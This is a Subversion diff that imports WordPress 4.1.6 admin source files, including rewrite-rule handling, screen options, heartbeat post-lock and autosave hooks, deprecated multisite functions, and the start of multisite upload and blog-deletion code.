+	foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) : ?>
+	<p>
+		<label for="title"><?php echo $label ?></label><br />
+		<input type="text" name="id3_<?php echo esc_attr( $key ) ?>" id="id3_<?php echo esc_attr( $key ) ?>" class="large-text" value="<?php
+			if ( ! empty( $meta[ $key ] ) ) {
+				echo esc_attr( $meta[ $key ] );
+			}
+		?>" />
+	</p>
+	<?php
+	endforeach;
+}
Index: /tags/4.1.6/src/wp-admin/includes/misc.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/misc.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/misc.php	(revision 33402)
@@ -0,0 +1,845 @@
+<?php
+/**
+ * Misc WordPress Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Returns whether the server is running Apache with the mod_rewrite module loaded.
+ *
+ * @since 2.0.0
+ *
+ * @return bool
+ */
+function got_mod_rewrite() {
+	$got_rewrite = apache_mod_loaded('mod_rewrite', true);
+
+	/**
+	 * Filter whether Apache and mod_rewrite are present.
+	 *
+	 * This filter was previously used to force URL rewriting for other servers,
+	 * like nginx. Use the got_url_rewrite filter in got_url_rewrite() instead.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @see got_url_rewrite()
+	 *
+	 * @param bool $got_rewrite Whether Apache and mod_rewrite are present.
+	 */
+	return apply_filters( 'got_rewrite', $got_rewrite );
+}
+
+/**
+ * Returns whether the server supports URL rewriting.
+ *
+ * Detects Apache's mod_rewrite, IIS 7.0+ permalink support, and nginx.
+ *
+ * @since 3.7.0
+ *
+ * @return bool Whether the server supports URL rewriting.
+ */
+function got_url_rewrite() {
+	$got_url_rewrite = ( got_mod_rewrite() || $GLOBALS['is_nginx'] || iis7_supports_permalinks() );
+
+	/**
+	 * Filter whether URL rewriting is available.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param bool $got_url_rewrite Whether URL rewriting is available.
+	 */
+	return apply_filters( 'got_url_rewrite', $got_url_rewrite );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 1.5.0
+ *
+ * @param string $filename
+ * @param string $marker
+ * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers.
+ */
+function extract_from_markers( $filename, $marker ) {
+	$result = array ();
+
+	if (!file_exists( $filename ) ) {
+		return $result;
+	}
+
+	if ( $markerdata = explode( "\n", implode( '', file( $filename ) ) ));
+	{
+		$state = false;
+		foreach ( $markerdata as $markerline ) {
+			if (strpos($markerline, '# END ' . $marker) !== false)
+				$state = false;
+			if ( $state )
+				$result[] = $markerline;
+			if (strpos($markerline, '# BEGIN ' . $marker) !== false)
+				$state = true;
+		}
+	}
+
+	return $result;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Inserts an array of strings into a file (.htaccess ), placing it between
+ * BEGIN and END markers. Replaces existing marked info. Retains surrounding
+ * data. Creates file if none exists.
+ *
+ * @since 1.5.0
+ *
+ * @param string $filename
+ * @param string $marker
+ * @param array  $insertion
+ * @return bool True on write success, false on failure.
+ */
+function insert_with_markers( $filename, $marker, $insertion ) {
+	if (!file_exists( $filename ) || is_writeable( $filename ) ) {
+		if (!file_exists( $filename ) ) {
+			$markerdata = '';
+		} else {
+			$markerdata = explode( "\n", implode( '', file( $filename ) ) );
+		}
+
+		if ( !$f = @fopen( $filename, 'w' ) )
+			return false;
+
+		$foundit = false;
+		if ( $markerdata ) {
+			$state = true;
+			foreach ( $markerdata as $n => $markerline ) {
+				if (strpos($markerline, '# BEGIN ' . $marker) !== false)
+					$state = false;
+				if ( $state ) {
+					if ( $n + 1 < count( $markerdata ) )
+						fwrite( $f, "{$markerline}\n" );
+					else
+						fwrite( $f, "{$markerline}" );
+				}
+				if (strpos($markerline, '# END ' . $marker) !== false) {
+					fwrite( $f, "# BEGIN {$marker}\n" );
+					if ( is_array( $insertion ))
+						foreach ( $insertion as $insertline )
+							fwrite( $f, "{$insertline}\n" );
+					fwrite( $f, "# END {$marker}\n" );
+					$state = true;
+					$foundit = true;
+				}
+			}
+		}
+		if (!$foundit) {
+			fwrite( $f, "\n# BEGIN {$marker}\n" );
+			foreach ( $insertion as $insertline )
+				fwrite( $f, "{$insertline}\n" );
+			fwrite( $f, "# END {$marker}\n" );
+		}
+		fclose( $f );
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Updates the htaccess file with the current rules if it is writable.
+ *
+ * Always writes to the file if it exists and is writable to ensure that we
+ * blank out old rules.
+ *
+ * @since 1.5.0
+ */
+function save_mod_rewrite_rules() {
+	if ( is_multisite() )
+		return;
+
+	global $wp_rewrite;
+
+	$home_path = get_home_path();
+	$htaccess_file = $home_path.'.htaccess';
+
+	/*
+	 * If the file doesn't already exist check for write access to the directory
+	 * and whether we have some rules. Else check for write access to the file.
+	 */
+	if ((!file_exists($htaccess_file) && is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks()) || is_writable($htaccess_file)) {
+		if ( got_mod_rewrite() ) {
+			$rules = explode( "\n", $wp_rewrite->mod_rewrite_rules() );
+			return insert_with_markers( $htaccess_file, 'WordPress', $rules );
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Updates the IIS web.config file with the current rules if it is writable.
+ * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file.
+ *
+ * @since 2.8.0
+ *
+ * @return bool True if web.config was updated successfully
+ */
+function iis7_save_url_rewrite_rules(){
+	if ( is_multisite() )
+		return;
+
+	global $wp_rewrite;
+
+	$home_path = get_home_path();
+	$web_config_file = $home_path . 'web.config';
+
+	// Using win_is_writable() instead of is_writable() because of a bug in Windows PHP
+	if ( iis7_supports_permalinks() && ( ( ! file_exists($web_config_file) && win_is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks() ) || win_is_writable($web_config_file) ) ) {
+		$rule = $wp_rewrite->iis7_url_rewrite_rules(false, '', '');
+		if ( ! empty($rule) ) {
+			return iis7_add_rewrite_rule($web_config_file, $rule);
+		} else {
+			return iis7_delete_rewrite_rule($web_config_file);
+		}
+	}
+	return false;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 1.5.0
+ *
+ * @param string $file
+ */
+function update_recently_edited( $file ) {
+	$oldfiles = (array ) get_option( 'recently_edited' );
+	if ( $oldfiles ) {
+		$oldfiles = array_reverse( $oldfiles );
+		$oldfiles[] = $file;
+		$oldfiles = array_reverse( $oldfiles );
+		$oldfiles = array_unique( $oldfiles );
+		if ( 5 < count( $oldfiles ))
+			array_pop( $oldfiles );
+	} else {
+		$oldfiles[] = $file;
+	}
+	update_option( 'recently_edited', $oldfiles );
+}
+
+/**
+ * If siteurl, home or page_on_front changed, flush rewrite rules.
+ *
+ * @since 2.1.0
+ *
+ * @param string $old_value
+ * @param string $value
+ */
+function update_home_siteurl( $old_value, $value ) {
+	if ( defined( "WP_INSTALLING" ) )
+		return;
+
+	// If home changed, write rewrite rules to new location.
+	flush_rewrite_rules();
+}
+
+add_action( 'update_option_home', 'update_home_siteurl', 10, 2 );
+add_action( 'update_option_siteurl', 'update_home_siteurl', 10, 2 );
+add_action( 'update_option_page_on_front', 'update_home_siteurl', 10, 2 );
+
+/**
+ * Shorten an URL, to be used as link text
+ *
+ * @since 1.2.0
+ *
+ * @param string $url
+ * @return string
+ */
+function url_shorten( $url ) {
+	$short_url = str_replace( array( 'http://', 'www.' ), '', $url );
+	$short_url = untrailingslashit( $short_url );
+	if ( strlen( $short_url ) > 35 )
+		$short_url = substr( $short_url, 0, 32 ) . '&hellip;';
+	return $short_url;
+}
+
+/**
+ * Resets global variables based on $_GET and $_POST
+ *
+ * This function resets global variables based on the names passed
+ * in the $vars array to the value of $_POST[$var] or $_GET[$var] or ''
+ * if neither is defined.
+ *
+ * @since 2.0.0
+ *
+ * @param array $vars An array of globals to reset.
+ */
+function wp_reset_vars( $vars ) {
+	foreach ( $vars as $var ) {
+		if ( empty( $_POST[ $var ] ) ) {
+			if ( empty( $_GET[ $var ] ) ) {
+				$GLOBALS[ $var ] = '';
+			} else {
+				$GLOBALS[ $var ] = $_GET[ $var ];
+			}
+		} else {
+			$GLOBALS[ $var ] = $_POST[ $var ];
+		}
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.1.0
+ *
+ * @param string|WP_Error $message
+ */
+function show_message($message) {
+	if ( is_wp_error($message) ){
+		if ( $message->get_error_data() && is_string( $message->get_error_data() ) )
+			$message = $message->get_error_message() . ': ' . $message->get_error_data();
+		else
+			$message = $message->get_error_message();
+	}
+	echo "<p>$message</p>\n";
+	wp_ob_end_flush_all();
+	flush();
+}
+
+function wp_doc_link_parse( $content ) {
+	if ( !is_string( $content ) || empty( $content ) )
+		return array();
+
+	if ( !function_exists('token_get_all') )
+		return array();
+
+	$tokens = token_get_all( $content );
+	$count = count( $tokens );
+	$functions = array();
+	$ignore_functions = array();
+	for ( $t = 0; $t < $count - 2; $t++ ) {
+		if ( ! is_array( $tokens[ $t ] ) ) {
+			continue;
+		}
+
+		if ( T_STRING == $tokens[ $t ][0] && ( '(' == $tokens[ $t + 1 ] || '(' == $tokens[ $t + 2 ] ) ) {
+			// If it's a function or class defined locally, there's not going to be any docs available
+			if ( ( isset( $tokens[ $t - 2 ][1] ) && in_array( $tokens[ $t - 2 ][1], array( 'function', 'class' ) ) ) || ( isset( $tokens[ $t - 2 ][0] ) && T_OBJECT_OPERATOR == $tokens[ $t - 1 ][0] ) ) {
+				$ignore_functions[] = $tokens[$t][1];
+			}
+			// Add this to our stack of unique references
+			$functions[] = $tokens[$t][1];
+		}
+	}
+
+	$functions = array_unique( $functions );
+	sort( $functions );
+
+	/**
+	 * Filter the list of functions and classes to be ignored from the documentation lookup.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $ignore_functions Functions and classes to be ignored.
+	 */
+	$ignore_functions = apply_filters( 'documentation_ignore_functions', $ignore_functions );
+
+	$ignore_functions = array_unique( $ignore_functions );
+
+	$out = array();
+	foreach ( $functions as $function ) {
+		if ( in_array( $function, $ignore_functions ) )
+			continue;
+		$out[] = $function;
+	}
+
+	return $out;
+}
+
+/**
+ * Saves option for number of rows when listing posts, pages, comments, etc.
+ *
+ * @since 2.8.0
+ */
+function set_screen_options() {
+
+	if ( isset($_POST['wp_screen_options']) && is_array($_POST['wp_screen_options']) ) {
+		check_admin_referer( 'screen-options-nonce', 'screenoptionnonce' );
+
+		if ( !$user = wp_get_current_user() )
+			return;
+		$option = $_POST['wp_screen_options']['option'];
+		$value = $_POST['wp_screen_options']['value'];
+
+		if ( $option != sanitize_key( $option ) )
+			return;
+
+		$map_option = $option;
+		$type = str_replace('edit_', '', $map_option);
+		$type = str_replace('_per_page', '', $type);
+		if ( in_array( $type, get_taxonomies() ) )
+			$map_option = 'edit_tags_per_page';
+		elseif ( in_array( $type, get_post_types() ) )
+			$map_option = 'edit_per_page';
+		else
+			$option = str_replace('-', '_', $option);
+
+		switch ( $map_option ) {
+			case 'edit_per_page':
+			case 'users_per_page':
+			case 'edit_comments_per_page':
+			case 'upload_per_page':
+			case 'edit_tags_per_page':
+			case 'plugins_per_page':
+			// Network admin
+			case 'sites_network_per_page':
+			case 'users_network_per_page':
+			case 'site_users_network_per_page':
+			case 'plugins_network_per_page':
+			case 'themes_network_per_page':
+			case 'site_themes_network_per_page':
+				$value = (int) $value;
+				if ( $value < 1 || $value > 999 )
+					return;
+				break;
+			default:
+
+				/**
+				 * Filter a screen option value before it is set.
+				 *
+				 * The filter can also be used to modify non-standard [items]_per_page
+				 * settings. See the parent function for a full list of standard options.
+				 *
+				 * Returning false to the filter will skip saving the current option.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @see set_screen_options()
+				 *
+				 * @param bool|int $value  Screen option value. Default false to skip.
+				 * @param string   $option The option name.
+				 * @param int      $value  The number of rows to use.
+				 */
+				$value = apply_filters( 'set-screen-option', false, $option, $value );
+
+				if ( false === $value )
+					return;
+				break;
+		}
+
+		update_user_meta($user->ID, $option, $value);
+		wp_safe_redirect( remove_query_arg( array('pagenum', 'apage', 'paged'), wp_get_referer() ) );
+		exit;
+	}
+}
+
+/**
+ * Check if rewrite rule for WordPress already exists in the IIS 7+ configuration file
+ *
+ * @since 2.8.0
+ *
+ * @return bool
+ * @param string $filename The file path to the configuration file
+ */
+function iis7_rewrite_rule_exists($filename) {
+	if ( ! file_exists($filename) )
+		return false;
+	if ( ! class_exists('DOMDocument') )
+		return false;
+
+	$doc = new DOMDocument();
+	if ( $doc->load($filename) === false )
+		return false;
+	$xpath = new DOMXPath($doc);
+	$rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')]');
+	if ( $rules->length == 0 )
+		return false;
+	else
+		return true;
+}
+
+/**
+ * Delete WordPress rewrite rule from web.config file if it exists there
+ *
+ * @since 2.8.0
+ *
+ * @param string $filename Name of the configuration file
+ * @return bool
+ */
+function iis7_delete_rewrite_rule($filename) {
+	// If configuration file does not exist then rules also do not exist so there is nothing to delete
+	if ( ! file_exists($filename) )
+		return true;
+
+	if ( ! class_exists('DOMDocument') )
+		return false;
+
+	$doc = new DOMDocument();
+	$doc->preserveWhiteSpace = false;
+
+	if ( $doc -> load($filename) === false )
+		return false;
+	$xpath = new DOMXPath($doc);
+	$rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')]');
+	if ( $rules->length > 0 ) {
+		$child = $rules->item(0);
+		$parent = $child->parentNode;
+		$parent->removeChild($child);
+		$doc->formatOutput = true;
+		saveDomDocument($doc, $filename);
+	}
+	return true;
+}
+
+/**
+ * Add WordPress rewrite rule to the IIS 7+ configuration file.
+ *
+ * @since 2.8.0
+ *
+ * @param string $filename The file path to the configuration file
+ * @param string $rewrite_rule The XML fragment with URL Rewrite rule
+ * @return bool
+ */
+function iis7_add_rewrite_rule($filename, $rewrite_rule) {
+	if ( ! class_exists('DOMDocument') )
+		return false;
+
+	// If configuration file does not exist then we create one.
+	if ( ! file_exists($filename) ) {
+		$fp = fopen( $filename, 'w');
+		fwrite($fp, '<configuration/>');
+		fclose($fp);
+	}
+
+	$doc = new DOMDocument();
+	$doc->preserveWhiteSpace = false;
+
+	if ( $doc->load($filename) === false )
+		return false;
+
+	$xpath = new DOMXPath($doc);
+
+	// First check if the rule already exists as in that case there is no need to re-add it
+	$wordpress_rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')]');
+	if ( $wordpress_rules->length > 0 )
+		return true;
+
+	// Check the XPath to the rewrite rule and create XML nodes if they do not exist
+	$xmlnodes = $xpath->query('/configuration/system.webServer/rewrite/rules');
+	if ( $xmlnodes->length > 0 ) {
+		$rules_node = $xmlnodes->item(0);
+	} else {
+		$rules_node = $doc->createElement('rules');
+
+		$xmlnodes = $xpath->query('/configuration/system.webServer/rewrite');
+		if ( $xmlnodes->length > 0 ) {
+			$rewrite_node = $xmlnodes->item(0);
+			$rewrite_node->appendChild($rules_node);
+		} else {
+			$rewrite_node = $doc->createElement('rewrite');
+			$rewrite_node->appendChild($rules_node);
+
+			$xmlnodes = $xpath->query('/configuration/system.webServer');
+			if ( $xmlnodes->length > 0 ) {
+				$system_webServer_node = $xmlnodes->item(0);
+				$system_webServer_node->appendChild($rewrite_node);
+			} else {
+				$system_webServer_node = $doc->createElement('system.webServer');
+				$system_webServer_node->appendChild($rewrite_node);
+
+				$xmlnodes = $xpath->query('/configuration');
+				if ( $xmlnodes->length > 0 ) {
+					$config_node = $xmlnodes->item(0);
+					$config_node->appendChild($system_webServer_node);
+				} else {
+					$config_node = $doc->createElement('configuration');
+					$doc->appendChild($config_node);
+					$config_node->appendChild($system_webServer_node);
+				}
+			}
+		}
+	}
+
+	$rule_fragment = $doc->createDocumentFragment();
+	$rule_fragment->appendXML($rewrite_rule);
+	$rules_node->appendChild($rule_fragment);
+
+	$doc->encoding = "UTF-8";
+	$doc->formatOutput = true;
+	saveDomDocument($doc, $filename);
+
+	return true;
+}
+
+/**
+ * Saves the XML document into a file
+ *
+ * @since 2.8.0
+ *
+ * @param DOMDocument $doc
+ * @param string $filename
+ */
+function saveDomDocument($doc, $filename) {
+	$config = $doc->saveXML();
+	$config = preg_replace("/([^\r])\n/", "$1\r\n", $config);
+	$fp = fopen($filename, 'w');
+	fwrite($fp, $config);
+	fclose($fp);
+}
+
+/**
+ * Display the default admin color scheme picker (Used in user-edit.php)
+ *
+ * @since 3.0.0
+ */
+function admin_color_scheme_picker( $user_id ) {
+	global $_wp_admin_css_colors;
+
+	ksort( $_wp_admin_css_colors );
+
+	if ( isset( $_wp_admin_css_colors['fresh'] ) ) {
+		// Set Default ('fresh') and Light should go first.
+		$_wp_admin_css_colors = array_filter( array_merge( array( 'fresh' => '', 'light' => '' ), $_wp_admin_css_colors ) );
+	}
+
+	$current_color = get_user_option( 'admin_color', $user_id );
+
+	if ( empty( $current_color ) || ! isset( $_wp_admin_css_colors[ $current_color ] ) ) {
+		$current_color = 'fresh';
+	}
+
+	?>
+	<fieldset id="color-picker" class="scheme-list">
+		<legend class="screen-reader-text"><span><?php _e( 'Admin Color Scheme' ); ?></span></legend>
+		<?php
+		wp_nonce_field( 'save-color-scheme', 'color-nonce', false );
+		foreach ( $_wp_admin_css_colors as $color => $color_info ) :
+
+			?>
+			<div class="color-option <?php echo ( $color == $current_color ) ? 'selected' : ''; ?>">
+				<input name="admin_color" id="admin_color_<?php echo esc_attr( $color ); ?>" type="radio" value="<?php echo esc_attr( $color ); ?>" class="tog" <?php checked( $color, $current_color ); ?> />
+				<input type="hidden" class="css_url" value="<?php echo esc_url( $color_info->url ); ?>" />
+				<input type="hidden" class="icon_colors" value="<?php echo esc_attr( wp_json_encode( array( 'icons' => $color_info->icon_colors ) ) ); ?>" />
+				<label for="admin_color_<?php echo esc_attr( $color ); ?>"><?php echo esc_html( $color_info->name ); ?></label>
+				<table class="color-palette">
+					<tr>
+					<?php
+
+					foreach ( $color_info->colors as $html_color ) {
+						?>
+						<td style="background-color: <?php echo esc_attr( $html_color ); ?>">&nbsp;</td>
+						<?php
+					}
+
+					?>
+					</tr>
+				</table>
+			</div>
+			<?php
+
+		endforeach;
+
+	?>
+	</fieldset>
+	<?php
+}
+
+function wp_color_scheme_settings() {
+	global $_wp_admin_css_colors;
+
+	$color_scheme = get_user_option( 'admin_color' );
+
+	// It's possible to have a color scheme set that is no longer registered.
+	if ( empty( $_wp_admin_css_colors[ $color_scheme ] ) ) {
+		$color_scheme = 'fresh';
+	}
+
+	if ( ! empty( $_wp_admin_css_colors[ $color_scheme ]->icon_colors ) ) {
+		$icon_colors = $_wp_admin_css_colors[ $color_scheme ]->icon_colors;
+	} elseif ( ! empty( $_wp_admin_css_colors['fresh']->icon_colors ) ) {
+		$icon_colors = $_wp_admin_css_colors['fresh']->icon_colors;
+	} else {
+		// Fall back to the default set of icon colors if the default scheme is missing.
+		$icon_colors = array( 'base' => '#999', 'focus' => '#2ea2cc', 'current' => '#fff' );
+	}
+
+	echo '<script type="text/javascript">var _wpColorScheme = ' . wp_json_encode( array( 'icons' => $icon_colors ) ) . ";</script>\n";
+}
+add_action( 'admin_head', 'wp_color_scheme_settings' );
+
+function _ipad_meta() {
+	if ( wp_is_mobile() ) {
+		?>
+		<meta name="viewport" id="viewport-meta" content="width=device-width, initial-scale=1">
+		<?php
+	}
+}
+add_action('admin_head', '_ipad_meta');
+
+/**
+ * Check lock status for posts displayed on the Posts screen
+ *
+ * @since 3.6.0
+ */
+function wp_check_locked_posts( $response, $data, $screen_id ) {
+	$checked = array();
+
+	if ( array_key_exists( 'wp-check-locked-posts', $data ) && is_array( $data['wp-check-locked-posts'] ) ) {
+		foreach ( $data['wp-check-locked-posts'] as $key ) {
+			if ( ! $post_id = absint( substr( $key, 5 ) ) )
+				continue;
+
+			if ( ( $user_id = wp_check_post_lock( $post_id ) ) && ( $user = get_userdata( $user_id ) ) && current_user_can( 'edit_post', $post_id ) ) {
+				$send = array( 'text' => sprintf( __( '%s is currently editing' ), $user->display_name ) );
+
+				if ( ( $avatar = get_avatar( $user->ID, 18 ) ) && preg_match( "|src='([^']+)'|", $avatar, $matches ) )
+					$send['avatar_src'] = $matches[1];
+
+				$checked[$key] = $send;
+			}
+		}
+	}
+
+	if ( ! empty( $checked ) )
+		$response['wp-check-locked-posts'] = $checked;
+
+	return $response;
+}
+add_filter( 'heartbeat_received', 'wp_check_locked_posts', 10, 3 );
+
+/**
+ * Check lock status on the New/Edit Post screen and refresh the lock
+ *
+ * @since 3.6.0
+ */
+function wp_refresh_post_lock( $response, $data, $screen_id ) {
+	if ( array_key_exists( 'wp-refresh-post-lock', $data ) ) {
+		$received = $data['wp-refresh-post-lock'];
+		$send = array();
+
+		if ( ! $post_id = absint( $received['post_id'] ) )
+			return $response;
+
+		if ( ! current_user_can('edit_post', $post_id) )
+			return $response;
+
+		if ( ( $user_id = wp_check_post_lock( $post_id ) ) && ( $user = get_userdata( $user_id ) ) ) {
+			$error = array(
+				'text' => sprintf( __( '%s has taken over and is currently editing.' ), $user->display_name )
+			);
+
+			if ( $avatar = get_avatar( $user->ID, 64 ) ) {
+				if ( preg_match( "|src='([^']+)'|", $avatar, $matches ) )
+					$error['avatar_src'] = $matches[1];
+			}
+
+			$send['lock_error'] = $error;
+		} else {
+			if ( $new_lock = wp_set_post_lock( $post_id ) )
+				$send['new_lock'] = implode( ':', $new_lock );
+		}
+
+		$response['wp-refresh-post-lock'] = $send;
+	}
+
+	return $response;
+}
+add_filter( 'heartbeat_received', 'wp_refresh_post_lock', 10, 3 );
+
+/**
+ * Check nonce expiration on the New/Edit Post screen and refresh if needed
+ *
+ * @since 3.6.0
+ */
+function wp_refresh_post_nonces( $response, $data, $screen_id ) {
+	if ( array_key_exists( 'wp-refresh-post-nonces', $data ) ) {
+		$received = $data['wp-refresh-post-nonces'];
+		$response['wp-refresh-post-nonces'] = array( 'check' => 1 );
+
+		if ( ! $post_id = absint( $received['post_id'] ) )
+			return $response;
+
+		if ( ! current_user_can( 'edit_post', $post_id ) || empty( $received['post_nonce'] ) )
+			return $response;
+
+		if ( 2 === wp_verify_nonce( $received['post_nonce'], 'update-post_' . $post_id ) ) {
+			$response['wp-refresh-post-nonces'] = array(
+				'replace' => array(
+					'getpermalinknonce' => wp_create_nonce('getpermalink'),
+					'samplepermalinknonce' => wp_create_nonce('samplepermalink'),
+					'closedpostboxesnonce' => wp_create_nonce('closedpostboxes'),
+					'_ajax_linking_nonce' => wp_create_nonce( 'internal-linking' ),
+					'_wpnonce' => wp_create_nonce( 'update-post_' . $post_id ),
+				),
+				'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ),
+			);
+		}
+	}
+
+	return $response;
+}
+add_filter( 'heartbeat_received', 'wp_refresh_post_nonces', 10, 3 );
+
+/**
+ * Disable suspension of Heartbeat on the Add/Edit Post screens.
+ *
+ * @since 3.8.0
+ *
+ * @param array $settings An array of Heartbeat settings.
+ * @return array Filtered Heartbeat settings.
+ */
+function wp_heartbeat_set_suspension( $settings ) {
+	global $pagenow;
+
+	if ( 'post.php' === $pagenow || 'post-new.php' === $pagenow ) {
+		$settings['suspension'] = 'disable';
+	}
+
+	return $settings;
+}
+add_filter( 'heartbeat_settings', 'wp_heartbeat_set_suspension' );
+
+/**
+ * Autosave with heartbeat
+ *
+ * @since 3.9.0
+ */
+function heartbeat_autosave( $response, $data ) {
+	if ( ! empty( $data['wp_autosave'] ) ) {
+		$saved = wp_autosave( $data['wp_autosave'] );
+
+		if ( is_wp_error( $saved ) ) {
+			$response['wp_autosave'] = array( 'success' => false, 'message' => $saved->get_error_message() );
+		} elseif ( empty( $saved ) ) {
+			$response['wp_autosave'] = array( 'success' => false, 'message' => __( 'Error while saving.' ) );
+		} else {
+			/* translators: draft saved date format, see http://php.net/date */
+			$draft_saved_date_format = __( 'g:i:s a' );
+			/* translators: %s: date and time */
+			$response['wp_autosave'] = array( 'success' => true, 'message' => sprintf( __( 'Draft saved at %s.' ), date_i18n( $draft_saved_date_format ) ) );
+		}
+	}
+
+	return $response;
+}
+// Run later as we have to set DOING_AUTOSAVE for back-compat
+add_filter( 'heartbeat_received', 'heartbeat_autosave', 500, 2 );
+
+/**
+ * Disables autocomplete on the 'post' form (Add/Edit Post screens) for WebKit browsers,
+ * as they disregard the autocomplete setting on the editor textarea. That can break the editor
+ * when the user navigates to it with the browser's Back button. See #28037
+ *
+ * @since 4.0
+ */
+function post_form_autocomplete_off() {
+	global $is_safari, $is_chrome;
+
+	if ( $is_safari || $is_chrome ) {
+		echo ' autocomplete="off"';
+	}
+}
+
+add_action( 'post_edit_form_tag', 'post_form_autocomplete_off' );
Index: /tags/4.1.6/src/wp-admin/includes/ms-deprecated.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/ms-deprecated.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/ms-deprecated.php	(revision 33402)
@@ -0,0 +1,78 @@
+<?php
+/**
+ * Deprecated multisite admin functions from past WordPress versions and WordPress MU.
+ * You shouldn't use these functions and look for the alternatives instead. The functions
+ * will be removed in a later version.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ * @since 3.0.0
+ */
+
+/**
+ * @deprecated 3.0.0
+ */
+function wpmu_menu() {
+	_deprecated_function(__FUNCTION__, '3.0' );
+	// Deprecated. See #11763.
+}
+
+/**
+  * Determines if the available space defined by the admin has been exceeded by the user.
+  *
+  * @deprecated 3.0.0
+  * @see is_upload_space_available()
+ */
+function wpmu_checkAvailableSpace() {
+	_deprecated_function(__FUNCTION__, '3.0', 'is_upload_space_available()' );
+
+	if ( !is_upload_space_available() )
+		wp_die( __('Sorry, you must delete files before you can upload any more.') );
+}
+
+/**
+ * @deprecated 3.0.0
+ */
+function mu_options( $options ) {
+	_deprecated_function(__FUNCTION__, '3.0' );
+	return $options;
+}
+
+/**
+ * @deprecated 3.0.0
+ * @see activate_plugin()
+ */
+function activate_sitewide_plugin() {
+	_deprecated_function(__FUNCTION__, '3.0', 'activate_plugin()' );
+	return false;
+}
+
+/**
+ * @deprecated 3.0.0
+ * @see deactivate_sitewide_plugin()
+ */
+function deactivate_sitewide_plugin( $plugin = false ) {
+	_deprecated_function(__FUNCTION__, '3.0', 'deactivate_plugin()' );
+	return;
+}
+
+/**
+ * @deprecated 3.0.0
+ * @see is_network_only_plugin()
+ */
+function is_wpmu_sitewide_plugin( $file ) {
+	_deprecated_function(__FUNCTION__, '3.0', 'is_network_only_plugin()' );
+	return is_network_only_plugin( $file );
+}
+
+function get_site_allowed_themes() {
+	_deprecated_function( __FUNCTION__, '3.4', 'WP_Theme::get_allowed_on_network()' );
+	return array_map( 'intval', WP_Theme::get_allowed_on_network() );
+}
+
+function wpmu_get_blog_allowedthemes( $blog_id = 0 ) {
+	_deprecated_function( __FUNCTION__, '3.4', 'WP_Theme::get_allowed_on_site()' );
+	return array_map( 'intval', WP_Theme::get_allowed_on_site( $blog_id ) );
+}
+
+function ms_deprecated_blogs_file() {}
Index: /tags/4.1.6/src/wp-admin/includes/ms.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/ms.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/ms.php	(revision 33402)
@@ -0,0 +1,963 @@
+<?php
+/**
+ * Multisite administration functions.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/**
+ * Determine if uploaded file exceeds space quota.
+ *
+ * @since 3.0.0
+ *
+ * @param array $file $_FILES array for a given file.
+ * @return array $_FILES array with 'error' key set if file exceeds quota. 'error' is empty otherwise.
+ */
+function check_upload_size( $file ) {
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return $file;
+
+	if ( $file['error'] != '0' ) // there's already an error
+		return $file;
+
+	if ( defined( 'WP_IMPORTING' ) )
+		return $file;
+
+	$space_left = get_upload_space_available();
+
+	$file_size = filesize( $file['tmp_name'] );
+	if ( $space_left < $file_size )
+		$file['error'] = sprintf( __( 'Not enough space to upload. %1$s KB needed.' ), number_format( ($file_size - $space_left) /1024 ) );
+	if ( $file_size > ( 1024 * get_site_option( 'fileupload_maxk', 1500 ) ) )
+		$file['error'] = sprintf(__('This file is too big. Files must be less than %1$s KB in size.'), get_site_option( 'fileupload_maxk', 1500 ) );
+	if ( upload_is_user_over_quota( false ) ) {
+		$file['error'] = __( 'You have used your space quota. Please delete files before uploading.' );
+	}
+	if ( $file['error'] != '0' && ! isset( $_POST['html-upload'] ) && ( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) ) {
+		wp_die( $file['error'] . ' <a href="javascript:history.go(-1)">' . __( 'Back' ) . '</a>' );
+	}
+
+	return $file;
+}
+add_filter( 'wp_handle_upload_prefilter', 'check_upload_size' );
+
+/**
+ * Delete a blog.
+ *
+ * @since 3.0.0
+ *
+ * @param int  $blog_id Blog ID.
+ * @param bool $drop    True if blog's table should be dropped. Default is false.
+ */
+function wpmu_delete_blog( $blog_id, $drop = false ) {
+	global $wpdb;
+
+	$switch = false;
+	if ( get_current_blog_id() != $blog_id ) {
+		$switch = true;
+		switch_to_blog( $blog_id );
+	}
+
+	$blog = get_blog_details( $blog_id );
+	/**
+	 * Fires before a blog is deleted.
+	 *
+	 * @since MU
+	 *
+	 * @param int  $blog_id The blog ID.
+	 * @param bool $drop    True if blog's table should be dropped. Default is false.
+	 */
+	do_action( 'delete_blog', $blog_id, $drop );
+
+	$users = get_users( array( 'blog_id' => $blog_id, 'fields' => 'ids' ) );
+
+	// Remove users from this blog.
+	if ( ! empty( $users ) ) {
+		foreach ( $users as $user_id ) {
+			remove_user_from_blog( $user_id, $blog_id );
+		}
+	}
+
